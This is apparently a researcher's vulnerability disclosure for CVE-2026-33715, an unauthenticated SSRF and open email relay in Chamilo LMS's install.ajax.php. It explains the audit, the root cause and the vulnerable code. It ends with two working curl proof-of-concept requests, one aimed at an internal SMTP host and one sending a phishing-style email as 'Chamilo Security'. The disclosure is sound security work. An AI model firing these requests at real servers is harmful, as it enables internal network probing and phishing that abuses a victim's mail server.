
Unauthenticated SSRF and open email relay in Chamilo LMS — CVE-2026-33715 / CVSS 7.2
Severity: High (CVSS 7.2)
CWE: CWE-918 (SSRF) + CWE-306 (Missing Authentication)
Affected: chamilo/chamilo-lms 2.0-RC.2
Fixed in: 2.0-RC.3
Advisory: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
Credit: Romain Deperne
install.ajax.php in Chamilo LMS 2.0 is accessible without authentication on fully installed instances. Its test_mailer action accepts an arbitrary Symfony Mailer DSN and destination from POST data, allowing any unauthenticated attacker to force the server to initiate SMTP connections to arbitrary internal hosts (SSRF) and send emails through the Chamilo server as an open relay.
I was auditing Chamilo LMS after noticing it had accumulated several CVEs but not been deeply audited on its AJAX endpoints. My approach: list all files in public/main/inc/ajax/ and check whether each one starts with require_once __DIR__.'/../global.inc.php' — the inclusion that enforces authentication across the codebase.
install.ajax.php was the exception. It only includes the Composer autoloader. The filename already suggested it was leftover installation code — and grep-ing for test_mailer inside it confirmed it accepts a raw Symfony Mailer DSN string from POST data and passes it directly to Transport::fromDsn().
That's a complete SSRF primitive: an unauthenticated attacker controls the protocol, host, and port that the server connects to. The fact that it sends an actual email through whatever transport you configure turns it into an open relay as well. I confirmed with a simple curl that the endpoint was reachable without any session cookie on a fully installed instance.
The root cause is architectural: the file bypasses Symfony's security firewall because Apache's RewriteCond %{REQUEST_FILENAME} !-f passes existing PHP files directly to PHP, never hitting the front controller.
File: public/main/inc/ajax/install.ajax.php
The file was designed for the installation wizard but remains accessible after installation. Unlike every other AJAX endpoint in the same directory, it does not include global.inc.php — meaning zero authentication, zero authorization check:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
The test_mailer action (line ~138) accepts attacker-controlled POST parameters:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
Compare with any properly protected endpoint:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
The file is served directly by Apache (RewriteCond %{REQUEST_FILENAME} !-f passes existing PHP files through, bypassing Symfony's security firewall). The absence of global.inc.php inclusion means no session, no auth, no installation-complete check.
See poc.py for a full demonstration.
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"